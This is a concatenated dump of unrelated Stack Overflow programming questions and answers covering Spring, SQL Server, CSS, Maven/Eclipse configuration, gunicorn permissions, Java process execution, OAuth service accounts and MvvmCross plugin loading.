at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:160) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:239) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:106) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:142) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:537) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1085) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:658) at org.apache.coyote.http11.Http11NioProtocol$Http11ConnectionHandler.process(Http11NioProtocol.java:222) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1556) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1513) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745) </code></pre> <p>ANyone can see what's wrong here?</p> <p>ps.: the submission is handled by this method:</p> <p>controller:</p> <pre><code> @RequestMapping(value = "cadastra", method=RequestMethod.POST) @ResponseBody public void cadastra(@ModelAttribute("object") E object, BindingResult result, @RequestParam(value="icone", required=false) MultipartFile icone, @RequestParam(value="fotos", required=false) MultipartFile fotos[], @RequestParam(value="arquivo", required=false) MultipartFile arquivo[]) throws Exception { serv.cadastra(object); serv.upload(object, icone); serv.upload_multiplo(object, fotos); serv.upload_jar(object, arquivo); } </code></pre> <p>service</p> <pre><code> @PreAuthorize("hasPermission(#user, 'cadastra_'+#this.this.name)") @Transactional public void cadastra(E object) { dao.insert(object); } </code></pre> <p>dao class:</p> <pre><code>public void insert(E object) { EntityManager entityManager = getEntityManager(); entityManager.getTransaction().begin(); entityManager.persist(object); entityManager.getTransaction().commit(); entityManager.close(); } </code></pre>
40267446	0	 <p>Try this:</p> <p>// SQL Server 2008 R2</p> <pre><code>SqlConnection connection = null; var runBatch = false; try { connection = new SqlConnection(connectionString); connection.Open(); var command = connection.CreateCommand(); // 1st batch command.CommandText = "BEGIN TRANSACTION"; command.ExecuteNonQuery(); // 2nd batch command.CommandText = "UPDATE MyTable SET MyColumn = 'foo' WHERE Name = @name"; command.Parameters.AddWithValue("name", "bar"); command.ExecuteNonQuery(); // 3rd batch command.CommandText = "COMMIT TRANSACTION"; command.Parameters.Clear(); command.ExecuteNonQuery(); } finally { if (connection != null) { connection.Close(); } } </code></pre>
17180066	0	100% height input-field and align text vertically <p>Maybe a duplicate but I did not found a question with a similar problem.</p> <p>Ok, I've to create a <code>100%</code> height input field that centers the text vertically and horizontally. The problem is that if I set the <code>line-height</code> to <code>window</code>-width the <strong>cursor</strong> gets the same size in Chrome.</p> <p>Any ideas how to center the text without <code>line-height</code>?</p> <pre><code>input { position: absolute; top: 0; left 0; margin: 0; padding: 0; width: 100%; height: 100%; text-align: center; border: 0; outline: 0 } </code></pre> <p>Just to set the <code>line-height</code>:</p> <pre><code>$('input').css({ lineHeight: $(window).height() + 'px' }); </code></pre> <p><a href="http://fiddle.jshell.net/G9uVw/" rel="nofollow">http://fiddle.jshell.net/G9uVw/</a></p> <p><strong>Update</strong></p> <p>It seems that the question needs to be changed. The problem is that <strong>oldIE</strong> doesn't center the text, but all other browsers do. So the new question is, how can we check if a browser supports this <code>auto-center</code>-<code>feature?! (Since we know that</code>ua`-sniffing is evil, I don't want to check for a particular browser...)</p> <p><strong>Update2</strong></p> <p>It seems that this is a bug in webkit: <a href="https://code.google.com/p/chromium/issues/detail?id=47284" rel="nofollow">https://code.google.com/p/chromium/issues/detail?id=47284</a></p>
14232162	0	 <p>This Code Should Help You May Be </p> <pre><code> bool SortDateAsc = true; private void Date_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) { if (SortDateAsc) { ObservableCollection&lt;InvoicesDTO&gt; a = new ObservableCollection&lt;InvoicesDTO&gt;(((ResolutionVM)this.DataContext).MainInvoiceList.OrderBy(oc =&gt; oc.FC_AGE)); ((ResolutionVM)this.DataContext).MainInvoiceList = a; InvoiceGrid.ItemsSource = ((ResolutionVM)this.DataContext).MainInvoiceList.ToList(); SortDateAsc = false; ((ResolutionVM)this.DataContext).RefreshSelctedInvoice(); } else { ObservableCollection&lt;InvoicesDTO&gt; a = new ObservableCollection&lt;InvoicesDTO&gt;(((ResolutionVM)this.DataContext).MainInvoiceList.OrderByDescending(oc =&gt; oc.FC_AGE)); ((ResolutionVM)this.DataContext).MainInvoiceList = a; InvoiceGrid.ItemsSource = ((ResolutionVM)this.DataContext).MainInvoiceList.ToList(); SortDateAsc = true; ((ResolutionVM)this.DataContext).RefreshSelctedInvoice(); } } </code></pre>
36644898	0	 <p>I think that your initial idea is pretty good and can be made to work with not too much code. It will require some tinkering in order to decouple "is a <code>Runnable</code> for this value already running" from "execute this <code>Runnable</code>", but here's a rough illustration that doesn't take care about that:</p> <ul> <li>Implement <code>equals()</code> and <code>hashCode()</code> in <code>Process</code>, so that instances can safely be used in unordered sets and maps.</li> <li>Create a <code>ConcurrentMap&lt;Process, Boolean&gt;</code> <ul> <li>You won't be using <code>Collections.newSetFromMap(new ConcurrentHashMap&lt;Process, Boolean&gt;)</code> because you'd want to use the map's <code>putIfAbsent()</code> method.</li> </ul></li> <li>Try to add in it using <code>putIfAbsent()</code> each <code>Process</code> that you will be submitting and bail if the returned value is not <code>null</code>. <ul> <li>A non-<code>null</code> return value means that there's already an equivalent <code>Process</code> in the map (and therefore being processed).</li> <li>The trivial and not very clean solution will be to inject a reference to the map in each <code>Process</code> instance and have <code>putIfAbsent(this, true)</code> as the first thing you do in your <code>run()</code> method.</li> </ul></li> <li>Remove from it each <code>Process</code> that has finished processing. <ul> <li>The trivial and not very clean solution will be inject a reference to the map in each <code>Process</code> instance and have <code>remove(this)</code> as the last thing you do in your <code>run()</code> method.</li> <li>Other solutions can have <code>Process</code> implement <code>Callable</code> and return its unique value as a result, so that it can be removed from the map, or use <code>CompletableFuture</code> and its <code>thenAccept()</code> callback.</li> </ul></li> </ul> <p><a href="http://pastebin.com/kfYr9Sjm" rel="nofollow">Here's</a> a sample that illustrates the trivial and not very clean solution described above (code too long to paste directly here).</p>
29084122	0	 <p>Good questions. </p> <p>The data limit is based on the size of data sent to the Power BI service. If you send us a workbook the size of the workbook is counted against your quota. If you send us data rows, the size of the uncompressed data rows is counted against your quota. Our service is in preview right now so there might be tweaks to the above as we move forward. You can keep up to date on the latest guidelines by referring to this page: <a href="https://www.powerbi.com/dashboards/pricing/" rel="nofollow">https://www.powerbi.com/dashboards/pricing/</a> </p> <p>The limits apply to any caller of the Power BI API. The details on the limits are listed at the bottom of this article: <a href="https://msdn.microsoft.com/en-US/library/dn950053.aspx" rel="nofollow">https://msdn.microsoft.com/en-US/library/dn950053.aspx</a>. The usage is additive in that if you posted 5K rows, then you'd be able to post an addition 5K rows within the hour. </p> <p>Appreciate your using Power BI.</p> <p>Lukasz P.</p> <p>Power BI Team, Microsoft</p> <p>Get started using Power BI APIs on the Power BI Developer Center - <a href="http://dev.powerbi.com" rel="nofollow">http://dev.powerbi.com</a>. Keep up to date with the Power BI Developer Blog - <a href="http://blogs.msdn.com/b/powerbidev/" rel="nofollow">http://blogs.msdn.com/b/powerbidev/</a>.</p>
33824476	0	 <p>Thanks guys for your comments.</p> <p>I have reinstalled spark 1.5.2 and it works for me. Earlier the problem was with the spark-1.5.2.tar file. So I downloaded the fresh tar file of spark 1.5.2 and reinstall spark and now it works properly.</p>
28517254	0	 <p>You can start looking at developer tools of chrome where you can understand more about rendering of html elements.. Check the image attached for one such instance. Your h2(id="block-bens-main-menu-menu") tag has by default margin-top &amp; margin-botom values which is actually creating the space. Investigate more by yourself ;) <img src="https://i.stack.imgur.com/lFIVg.png" alt="enter image description here"></p>
15733439	0	 <p>Your new table should look like this:</p> <pre><code>public class MessageByPerson { @ManyToOne private Message message; @ManyToOne private Person person; @Column private Date date; } </code></pre>
1766363	0	 <p>There is also another attempt to emulate position: fixed :</p> <p><a href="http://cubiq.org/scrolling-div-on-iphone-ipod-touch/5" rel="nofollow noreferrer">http://cubiq.org/scrolling-div-on-iphone-ipod-touch/5</a></p> <p>But it's hacky, and not very performant too.</p> <p>You are right, Titanium or phonegap do the job well...</p>
3546105	0	 <p><code>[playSoundButton = [UIButton buttonWithType:UIButtonTypeCustom] retain];</code> should read <code>playSoundButton = [[UIButton buttonWithType:UIButtonTypeCustom] retain];</code></p> <p>(i.e. move the first <code>[</code> further right to <code>UIButton</code>)</p>
4956245	0	How to manage shared resources for several web apps in Maven AND Eclipse? <p><em>Note: I didn't get any response in the first version of this question, so I modified it to be more generic...</em></p> <p><strong>Context</strong></p> <p>My project is divided into several maven modules and several web-applications. Here is the structure:</p> <pre><code>my-project + pom.xml +-- commons +-- persistence +-- ... +-- web-app-1 +-- web-app-2 +-- ... </code></pre> <p>All the web applications share common resources, such as JS, CSS and images files.</p> <p>Instead of duplicating these resources in each <code>web-app-X</code>, I decided to create another project called <code>web-resources</code>, which is a WAR project. The structure is then the following one:</p> <pre><code>my-project + pom.xml +-- commons +-- persistence +-- ... +-- web-app-1 +-- web-app-2 +-- ... +-- web-resources +-- pom.xml +-- src/main/webapp +-- web.xml (which is almost empty, just need to be present for Maven) +-- web_resources +-- css +-- images +-- javascript </code></pre> <hr/> <p><strong>Maven</strong></p> <p>In Maven 2 (or Maven 3, as I just migrated my project to maven 3.0.2), this configuration is easy to manage as all <code>web-app-X</code> declare <code>web-resources</code> as a dependency:</p> <pre><code>&lt;groupId&gt;foo.bar&lt;/groupId&gt; &lt;artifactId&gt;web-app-1&lt;/artifactId&gt; ... &lt;dependencies&gt; &lt;dependency&gt; &lt;groupId&gt;foo.bar&lt;/groupId&gt; &lt;artifactId&gt;web-resources&lt;/artifactId&gt; &lt;version&gt;${preclosing-version}&lt;/version&gt; &lt;type&gt;war&lt;/type&gt; &lt;/dependency&gt; ... </code></pre> <p>So when I build my WAR project, it first get the <code>web-resources.war</code> (built just before), unzip it, and build <em>on top of it</em> the <code>web-app-X</code> web-application. This way, my WAR file will contains also a directory called <code>web-resources/</code> that contains the shared resources.</p> <p>This is the war overlay principle.</p> <p>So on a Maven point of view, everything is fine!</p> <hr/> <p><strong>Eclipse</strong></p> <p>Now, here comes the main problem: having a good Eclipse configuration.</p> <p><em>Question</em>: How can I use my current configuration to be managed correctly by Eclipse? In particular, when I deploy any <code>web-app-X</code> in Tomcat using Eclipse...</p> <p>Note that I want to get the more automatizable (?) configuration, and avoid any manual steps, as this configuration should be used by dozens of developers...</p> <p>For me, the best solution seems to use the <em>linked resources</em> of Eclipse. Thus, I set the following configuration in my <code>web-app-X</code> pom.xml:</p> <pre><code>&lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-eclipse-plugin&lt;/artifactId&gt; &lt;configuration&gt; &lt;wtpversion&gt;1.5&lt;/wtpversion&gt; &lt;linkedResources&gt; &lt;linkedResource&gt; &lt;name&gt;web_resources&lt;/name&gt; &lt;type&gt;2&lt;/type&gt; &lt;location&gt;${project.basedir}\..\web-resources\src\main\webapp\web_resources&lt;/location&gt; &lt;/linkedResource&gt; &lt;/linkedResources&gt; &lt;/configuration&gt; &lt;/plugin&gt; ... </code></pre> <p>When I run the <code>mvn eclipse:eclipse</code> configuration, it adds succesfully this information in my <code>.project</code> file:</p> <pre><code>&lt;projectDescription&gt; ... &lt;linkedResources&gt; &lt;link&gt; &lt;name&gt;web_resources&lt;/name&gt; &lt;type&gt;2&lt;/type&gt; &lt;location&gt;C:\dev\project\web-resources\src\main\webapp\web_resources&lt;/location&gt; &lt;/link&gt; &lt;/linkedResources&gt; &lt;projectDescription&gt; </code></pre> <p>Now, I import my project in Eclipse. Problem: in <code>Project properties &gt; Java Build Path &gt; Source</code>, I don't see the Link Source present. I only see my four Maven default directories (<code>src/main/java</code>, <code>src/main/resources</code>, <code>src/test/java</code> and <code>src/test/resources</code>). What is strange is that when I try to manually add the linked resources, it refuses and says that it already exists...</p> <p>So when I deploy my web application on my Tomcat in Eclipse, it does <em>not</em> deploy the web_resources directory, and thus I don't get the CSS / JS / images deployed. </p> <p>After some tests, it seems that I have to do two modifications:</p> <ol> <li>Add the line <code>&lt;classpathentry kind="src" path="web_resources" output="src/main/webapp/web_resources"/&gt;</code> in my <code>.classpath</code> file;</li> <li>Remove the <code>&lt;project&gt;preclosing-web-resources&lt;/project&gt;</code> in the <code>.project</code> file.</li> </ol> <p>Note that using this configuration, Eclipse will copy (and keep synchronization) the content of web_resources project in my <code>web-app-X/src/main/webapp/web_resources</code>, but this is not a problem (this directory is ignored by the SCM).</p> <p>The only automated solution I found was to create a simple Maven plugin that do the two previous modification, and then run the following command (or use a .bat file):</p> <pre><code>mvn eclipse:clean eclipse:eclipse myEclipsePlugin:eclipse </code></pre> <hr/> <p><strong>Question</strong></p> <ul> <li>Is there a better way to manage such configuration?</li> </ul> <hr/> <p><em>Technical information</em></p> <p>Java 6, Maven 3.0.2, maven eclipse plugin 2.8, Eclipse 3.3.2 (but I can test with newer version of Eclipse), <strong>no</strong> m2eclipse plugin.</p>
3915493	0	 <p>It seems like you can't. You can only go as far as ...</p> <pre><code>CompositeId() .KeyProperty(x =&gt; x.Id1, "ID1") .KeyProperty(x =&gt; x.Id2, "ID2"); </code></pre> <p>There is no option for type or length. </p> <p>But in version 1.1 there seems to be a possibility</p> <pre><code>CompositeId() .KeyProperty(x =&gt; x.Id1) .KeyProperty(x =&gt; x.Id2, kp =&gt; kp .ColumnName("ID2") .Type(typeof(string))); </code></pre>
3954285	0	 <p>You can write a Diary application. Whose functionalities include:-</p> <ol> <li><p>Writing the daily diary and saving it which must be searchable via data/keywords(Basic function)</p></li> <li><p>Contacts with basic information about the person.</p></li> <li><p>Give a feature to export your matter to a suitable file format, say doc.</p></li> <li><p>Of course, login with password for different users, you can use file systems to store the data(but in encrypted format).</p></li> </ol> <p>This will be a good application to start with. :)</p>
31260691	0	 <p>The line in your gunicorn configuration file</p> <pre><code>user = newuser </code></pre> <p>does appear to be the central problem. As is sorta shown by</p> <pre><code>$ id uid=1001(msw) gid=1001(msw) groups=1001(msw),4(adm),8(mail) … </code></pre> <p>A user has one uid and one gid. All other groups listed are groups that you belong to but are not your gid. To change the gid you have to explicitly ask for it to be switched as in:</p> <pre><code>$ newgrp mail $ id uid=1001(msw) gid=8(mail) groups=1001(msw),4(adm),8(mail) … </code></pre> <p>does change my gid to one of my other groups. Unfortunately newuser probably now looks like:</p> <pre><code> $ id uid=22(newuser) gid=22(newuser) groups=22(newuser), 455(giri26) … </code></pre> <p>and since newuser might never log in to a shell nor even have a password, there is no good place to run newgrp. </p> <p>To fix it, you should make giri26 the gid of newuser by modifying <code>/etc/passwd</code></p> <pre><code>newuser:x:22:22: … </code></pre> <p>becomes:</p> <pre><code>newuser:x:22:455: … </code></pre> <p>This could have effects on newuser's other files and directories, be wary.</p>
40186817	0	Continuous Deployment of builds onto servers from build server <p>I'm using ansible to deploy and install builds on to my servers, but I have to feed Ansible with build name, to grab it and deploy. I would like to close this loop since I have to deploy the builds thrice a day. Is there a tool to do this so that everytime it sees a new build it will automatically invoke the ansible playbook. Or should I go ahead and write my own tool to do this. I'm open to suggestions.</p>
35910896	0	 <p>You use <code>$this-&gt;form_validation</code> only from inside controllers and/or models. </p> <p>When you are inside the library itself, you're in a different scope, where the <code>form_validation</code> property doesn't exist ... and you don't need it in the first place - you just use <code>$this</code>, so it's <code>$this-&gt;set_message()</code> instead of <code>$this-&gt;form_validation-&gt;set_message()</code>.</p> <p>Read up on how OOP works: <a href="http://www.php.net/manual/en/language.oop5.basic.php" rel="nofollow">http://www.php.net/manual/en/language.oop5.basic.php</a></p>
18706446	0	returning rows from $wpdb - losing my mind <p>spent the last two hours trying to get this $wpdb->get_results to return an array the same way while ($row = mysql_fetch_array($result)) would. I have tried everything, get_col, get_row, etc... went through the wp codex and tried all their examples and literally nothing works. Everything returns either Array ( ) or NULL. I am losing my mind here, any help is GREATLY appreciated.</p> <p>I originally coded this plugin in PDO and then realized wordpress doesn't support that. I am not a fan of wpdb sql. Here it is;</p> <pre><code>$query = $wpdb-&gt;get_results("SELECT * FROM admin WHERE user_id = '$userid'"); foreach ($query as $row) { echo $row-&gt;date; } </code></pre>
13491922	1	What is the difference between url() and tuple for urlpatterns in Django? <p>So in Django the two lines of url code below work the same:</p> <pre><code>urlpatterns = patterns('', url(r'^login/$', 'django.contrib.auth.views.login'), (r'^login/$', 'django.contrib.auth.views.login') ) </code></pre> <p>AFAIK, the only difference is I can define <code>name='login'</code> so I can use it for reversing url. But besides this, is there any other differences?</p>
33597552	0	How to retain the shell returned from runtime.exec(); <p>I'm making a terminal app and using the following code</p> <pre><code> try { process = runtime.exec(command); BufferedReader stream = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = stream.readLine()) != null) { stringBuilder.append(line); stringBuilder.append('\n'); } stream = new BufferedReader(new InputStreamReader(process.getErrorStream())); while ((line = stream.readLine()) != null) { stringBuilder.append(line); stringBuilder.append('\n'); } } catch (IOException e) { e.printStackTrace(); } </code></pre> <p>Problem is that everytime <code>exec()</code> is executed, a new <code>shell</code> is created. (That's what I read)</p> <p>Let's say I execute <code>cd</code>, it will change the directory, but next time I execute a command, it will execute from <code>/</code>.</p> <p>How do I use the same shell till the app is closed?</p> <p><strong>PS:</strong> This question is not same as <a href="http://stackoverflow.com/questions/4157303/how-to-execute-cmd-commands-via-java">How to execute cmd commands via Java</a> I am able to execute commands, no problem! I'm not trying to execute known commands by putting them in source code. I'm getting the commands from the user. Problem is I'm not able to maintain the shell environment constant. </p>
8969409	0	 <p>Before storing, cast the pointer with a <code>dynamic_cast&lt;void*&gt;</code> - this will give you a void pointer to the <em>most derived object</em>; this void pointer will, for the same objects, have the same address stored.</p> <p>See also <a href="http://stackoverflow.com/questions/8123776/are-there-practical-uses-for-dynamic-casting-to-void-pointer">this question</a>.</p>
31403686	0	 <blockquote> <p>Just a simple trick you can do</p> </blockquote> <p>just use a string variable for messages appending and counter.</p> <pre><code>$(document).ready(function () { var Messages; var counter=0; $('#btnSave').click(function (e) { validateTitle(); validatePrefix(); validateTextBoxes(); if(counter &gt; 0) { alert(Messages); e.preventDefault(); counter=0; } }); function validateTitle() { debugger; if ($("#ddlTitle").val() &gt; "0") { if ($("#ddlTitle").val() == "1104" &amp;&amp; $("#txtTitle").val() === "") { Messages += "Please enter the text in other title"; Messages += "\n"; counter ++; } } else { Messages += 'Please select the title'; Messages += "\n"; counter ++; } } function validatePrefix() { debugger; if ($("#ddlPrefix").val() &gt; "0") { if ($("#ddlPrefix").val() == "1110" &amp;&amp; $("#txtPrefix").val() === "") { Messages += "Please enter the text in other prefix"; Messages += "\n"; counter ++; } } else { Messages += 'Please select the prefix'; Messages += "\n"; counter ++; } } function validateTextBoxes() { debugger; if ($("#txtFirstName").val() === "") { Messages += 'First name is required'; Messages += "\n"; counter ++; } if ($("#txtMiddleName").val() === "") { Messages += 'Middle name is required'; Messages += "\n"; counter ++; } if ($("#txtLastName").val() === "") { Messages += 'Last name is required'; Messages += "\n"; counter ++; } if ($("#txtFatherName").val() === "") { Messages += 'Father name is required'; Messages += "\n"; counter ++; } if ($("#txtCurrentCompany").val() === "") { Messages += 'Current company is required'; Messages += "\n"; counter ++; } if ($("#txtDateofJoin").val() === "") { Messages += 'Date is required'; Messages += "\n"; counter ++; } if ($("#txtCurrentExp").val() === "") { Messages += 'Current Experience is required'; Messages += "\n"; counter ++; } } }); </code></pre> <blockquote> <p>Just update counter and impliment check if check > 0 show message (alert)</p> <p>it will benefit you two things </p> </blockquote> <ol> <li><p>User dont need to click each time and get alert.. dont need to return false.user Must know at once what erors are in form.</p></li> <li><p>Secondly code is simple/Simple logic.</p></li> </ol>
27513976	0	 <p>Well…try this steps:</p> <ol> <li>Open the "Start" menu and click "Computer" or "My Computer" depending on your version of Windows. Navigate to the C drive.</li> <li>Open the "Notes" folder. Double-click on the "Notes.ini" file to open it in Notepad.</li> <li>Place a semicolon (;) in front of the following two lines to temporarily disable VirusScan: AddInsMenus=NCMenu EXTMGR_ADDINS=NCExtMgr</li> <li>Click the "Save" option from the "File" menu. Close Notes.ini.</li> </ol> <p>Or visit: <a href="https://social.technet.microsoft.com/Forums/appvirtualization/en-US/612aacd1-c4ba-47eb-bf9c-0940d2ea1a05/lotus-notes-backup-data-nsf-file-corrupted?forum=itproxpsp" rel="nofollow">https://social.technet.microsoft.com/Forums/appvirtualization/en-US/612aacd1-c4ba-47eb-bf9c-0940d2ea1a05/lotus-notes-backup-data-nsf-file-corrupted?forum=itproxpsp</a> U can find info for solution this problem</p>
6210573	0	 <p>It all depends on y our app structure. If the data in the hidden div confidential, then by no means setting it's display to none a secure method since the client has full access to all client side data. But when talking about a button that invokes a back-end behavior, you should also be doing back-end validation on all requests.</p>
33601141	0	 <p>You created a service account but it looks like you're trying to access it using a client flow.</p> <p>Have a look at the service account documentation here: <a href="https://developers.google.com/identity/protocols/OAuth2ServiceAccount" rel="nofollow">https://developers.google.com/identity/protocols/OAuth2ServiceAccount</a></p> <p>The first step would be to go back to the developer console and generate a p12 key. Then the basic flow for Python looks like this:</p> <pre><code>from oauth2client.client import SignedJwtAssertionCredentials scope = 'https://www.googleapis.com/auth/drive.readonly https://spreadsheets.google.com/feeds' client_email = '&lt;your service account email address&gt;' with open("MyProject.p12") as f: private_key = f.read() credentials = SignedJwtAssertionCredentials(client_email, private_key, scope) http_auth = credentials.authorize(Http()) </code></pre>
10257596	0	Experiencing difficulty with a bubblesort exercise <p>I have an exercise where I need to use a WebMethod to perform a bubble sort, Ascending and Descending. </p> <p>This is the method that I use for an Ascending sort for example.</p> <pre><code>[WebMethod] public Boolean larger(int a, int b) { Boolean isLarger; if (a &lt; b) { isLarger = false; } else { isLarger = true; } return isLarger; } </code></pre> <p>This is the C# application that accesses the method to perform the sort. We are required to sort 5 numbers only.</p> <pre><code>ArrayList numbersAL = new ArrayList(); for (int i = 0; i &lt; 5; i++) { numberInput = Int32.Parse(Console.ReadLine()); numbersAL.Add(numberInput); } Boolean swap; do { swap = false; for (int j = 0; j &lt; numbersAL.Count - 1; j++) { Console.WriteLine("output"); int a = (int)numbersAL[j]; int b = (int)numbersAL[j + 1]; result = s.larger(a, b); if (result) { temporary = a; a = b; b = temporary; swap = true; } } } while (swap == true); </code></pre> <p>With this however I get an infinite loop and I guess the reason for this is that the numbers in the ArrayList still remains in the original order after the numbers were swapped around and then the process just repeats itself.</p> <p>How could I rectify this situation.</p> <p>Kind regards</p>
15854810	0	 <p>Try crystal Reports as these are widely used to generate reports and invoices. Follow these links, may be they'll be helpful for you:</p> <ul> <li><a href="http://www.codeproject.com/Articles/15859/Basics-of-Crystal-Report-for-NET-Programmers" rel="nofollow">http://www.codeproject.com/Articles/15859/Basics-of-Crystal-Report-for-NET-Programmers</a></li> <li><a href="http://infynet.wordpress.com/2010/10/06/crystal-report-in-c/" rel="nofollow">http://infynet.wordpress.com/2010/10/06/crystal-report-in-c/</a></li> </ul> <p>Or you can google it for more tutorials, there are too many.</p>
19215331	0	 <p>From what I can tell, your paint code should work fine</p> <p>The problem is, most likely, in the fact that the images are not loading, but since you've chosen to ignore any errors that are raised by this process, you won't have any idea why...</p> <p>So, instead of <code>// dont know</code>, use <code>e.printStackTrace()</code> when loading your images</p> <pre><code>for (int i = 0; i &lt; 5; i++) { try { URL url = new URL(getCodeBase(), imageString[i]); images[i] = ImageIO.read(url); } catch (IOException e) { e.printStackTrace(); } } </code></pre> <p>This will at least provide you with some more clues as to the problems you are facing.</p> <p>You should also avoid using AWT (<code>Button</code>) components on Swing (<code>JAppelt</code>) containers. They tend not to play nice well together.</p> <p>Having said all that, I would encourage you not to use <code>JAppelt</code> as a learning tool. Applets come with a swag of their own issues which are difficult to diagnose at the best of times, more so when you're trying to learn Java and the Swing API. The Swing API is complex enough with adding unnecessary challenges.</p> <p>You should also avoid extending from top level containers (in this case, you have no choice), but you should also avoid painting directly to top level containers. Apart from the complexities of the paint process, they are not double buffered, which introduces flickering when the UI is updated.</p> <p>Instead, start with something like a <code>JPanel</code> and override it's <code>paintComponent</code> method. <code>JComponent</code>s are double buffered by default, so they won't flicker when they are repainted. You must also call <code>super.paintXxx</code>. As I said, the paint process is a complex process, each <code>paintXxx</code> method is a link in the chain, if you break the chain, you should be prepared for some strange and unexpected behaviour down the track.</p> <p>Once you have your component setup, you are free to choose how to deploy it, by adding it to something like a <code>JFrame</code> or <code>JApplet</code>, making your component more flexible and reusable.</p> <p>Take a look at <a href="http://docs.oracle.com/javase/tutorial/uiswing/painting/" rel="nofollow">Performing Custom Painting</a> for more details</p> <p>The next question that comes to mind is why? Why do any custom painting at all, when <code>JLabel</code>s will not only do the job, but would probably do it better.</p> <p>Take a look at <a href="http://docs.oracle.com/javase/tutorial/uiswing/" rel="nofollow">Creating an GUI with Swing</a> for more details...</p>
15262841	0	 <p>Yes it's possible and few samples here</p> <ul> <li><a href="http://support.microsoft.com/kb/815799" rel="nofollow">How to bind an array of objects to a Windows Form by using Visual C++ .NET or Visual C++ 2005</a></li> <li><a href="http://msdn.microsoft.com/en-us/library/aa290064%28v=vs.71%29.aspx" rel="nofollow">Programming Windows Forms with Managed Extensions for C++</a></li> <li><a href="http://technet.microsoft.com/en-us/subscriptions/downloads/1te0bbs8%28v=vs.90%29.aspx" rel="nofollow">How to: Do DDX/DDV Data Binding with Windows Forms</a></li> </ul>
18731102	0	 <p>For what i know Microsoft kinect for windows SDK does not best to detect open and close hands. Microsoft provides tracking of 20 <a href="http://i.msdn.microsoft.com/dynimg/IC584844.png" rel="nofollow">body</a> parts and does not include the fingers of the hand. You can take advantage of the kinect interactions for that in an inderect way. This tutorial shows how: <a href="http://dotneteers.net/blogs/vbandi/archive/2013/05/03/kinect-interactions-with-wpf-part-iii-demystifying-the-interaction-stream.aspx" rel="nofollow">http://dotneteers.net/blogs/vbandi/archive/2013/05/03/kinect-interactions-with-wpf-part-iii-demystifying-the-interaction-stream.aspx</a></p> <p>But i think the best solution when tracking finger movements would be using <a href="http://www.openni.org/" rel="nofollow">OpenNI</a> SDK.</p> <p>Some of the <a href="http://www.openni.org/software/?cat_slug=file-cat1" rel="nofollow">MiddleWares</a> of OpenNI allow finger tracking.</p>
40600187	0	 <p>Linq is your friend. You can re-write all that code in 1 line:</p> <pre><code>peeps.OrderBy(x =&gt; x.Age).ThenBy(x =&gt; x.LastName); </code></pre> <p>That's all there is to it :). You can get rid of all that IComparable junk, that's old school.</p> <p>EDIT: for IComparable, you can do:</p> <pre><code> public int CompareTo(object obj) { Person other = (Person)obj; if (age &lt; other.age) return -1; if (String.Compare(vorname, other.vorname) &lt; 0) return -1; return 1; } </code></pre> <p>Seems to work for my quick testing, but test it more :).</p>
26042800	0	MvvmCross Not Loading Plugins in iOS 8 <p>I'm working on an enterprise iOS app using MvvmCross 3.2.1 and iOS 8 (with updated profile 259) and it's throwing exception "Failed to resolve parameter for parameter factory of type ISQLiteConnectionFactory when creating MyDataService".</p> <p>The same application works fine using MvvmCross 3.1.1 and iOS 7 and profile24.</p> <p>It's appearing that the PlugIns aren't being loaded in time based on the application output.</p> <p>Here's a snippet of the output from the version that works:</p> <blockquote> <p>2014-09-25 09:30:36.453 MyApp[2665:70b] mvx: Diagnostic: 5.19 Setup: MvvmCross settings start 2014-09-25 09:30:36.453 MyApp[2665:70b] mvx: Diagnostic: 5.19 Setup: Singleton Cache start 2014-09-25 09:30:36.454 MyApp[2665:70b] mvx: Diagnostic: 5.19 Setup: Bootstrap actions 2014-09-25 09:30:36.466 MyApp[2665:70b] mvx: Diagnostic: 5.20 Setup: StringToTypeParser start 2014-09-25 09:30:36.469 MyApp[2665:70b] mvx: Diagnostic: 5.21 Setup: ViewModelFramework start 2014-09-25 09:30:36.470 MyApp[2665:70b] mvx: Diagnostic: 5.21 Setup: PluginManagerFramework start 2014-09-25 09:30:36.475 MyApp[2665:70b] mvx: Diagnostic: 5.21 Ensuring Plugin is loaded for Cirrious.MvvmCross.Plugins.File.PluginLoader 2014-09-25 09:30:36.478 MyApp[2665:70b] mvx: Diagnostic: 5.22 Ensuring Plugin is loaded for Cirrious.MvvmCross.Plugins.Network.PluginLoader 2014-09-25 09:30:36.479 MyApp[2665:70b] mvx: Diagnostic: 5.22 Ensuring Plugin is loaded for Cirrious.MvvmCross.Plugins.Visibility.PluginLoader 2014-09-25 09:30:36.480 MyApp[2665:70b] mvx: Diagnostic: 5.22 Ensuring Plugin is loaded for Cirrious.MvvmCross.Community.Plugins.Sqlite.PluginLoader 2014-09-25 09:30:36.481 MyApp[2665:70b] mvx: Diagnostic: 5.22 Ensuring Plugin is loaded for Cirrious.MvvmCross.Plugins.Messenger.PluginLoader 2014-09-25 09:30:36.482 MyApp[2665:70b] mvx: Diagnostic: 5.22 Ensuring Plugin is loaded for Cirrious.MvvmCross.Plugins.ResourceLoader.PluginLoader 2014-09-25 09:30:36.483 MyApp[2665:70b] mvx: Diagnostic: 5.22 Ensuring 